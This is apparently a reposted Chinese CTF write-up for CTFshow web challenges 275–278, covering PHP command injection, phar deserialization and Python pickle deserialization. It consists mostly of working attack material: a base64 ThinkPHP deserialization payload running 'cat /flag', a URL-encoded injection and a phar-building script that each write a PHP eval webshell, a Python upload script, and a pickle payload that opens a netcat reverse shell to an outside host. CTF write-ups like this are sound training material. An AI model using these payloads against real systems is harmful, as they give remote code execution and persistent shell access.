payload: ?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

一开始以为是条件竞争,但是发了下请求会发现如果在 $_GET['fn'] 中带上 /var/www/html/,后面的 unlink 会因为重复了两遍路径删不掉文件,也就不需要条件竞争就可以持久化写入文件。但是因为正则对文件名进行了限制,没找到可以代替 php 的扩展名,就没能上传 shell
再观察可以发现 filter 类的 __destruct 方法中的命令是字符串拼接,那么就可以任意命令执行了。
payload: ?fn=a%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%20%3F%3E'%20%3E%20shell.php%3B

web276

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这道题相比上一题增加了 $admin 的限制,不再能直接执行任意命令。要想通过反序列化实现 $admin === true,会发现找不到 unserialize 函数,这就需要用到 phar 反序列化,而且正则刚好没有过滤 phar
首先构造 phar 的文件,将 filter 存储在 meta-data 中以备反序列化。

<?php

class filter
{
    public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

@unlink("payload.phar");
$phar = new Phar("payload.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "done.";

然后因为文件名加上 /var/www/html/unlink 的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar

import requests

url = "http://70640f7f-4359-43eb-b966-dcd85bc7f53b.challenge.ctf.show:8080/"

target = "/var/www/html/d.phar"

with open("payload.phar", "rb") as f:
    payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target = "phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")

蚁剑连接 shell.php

web277

html 注释看到 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m),可知是 python 反序列化漏洞,构造 payload 反弹 shell

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))

获取 shellcat flag

web278

web277,禁用了 os.system 但不影响 os.popen

标签:username,WEB,序列化,22%,3A%,CTFSHOW,password,public,php
来源: https://www.cnblogs.com/recharging-runtime/p/15413260.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有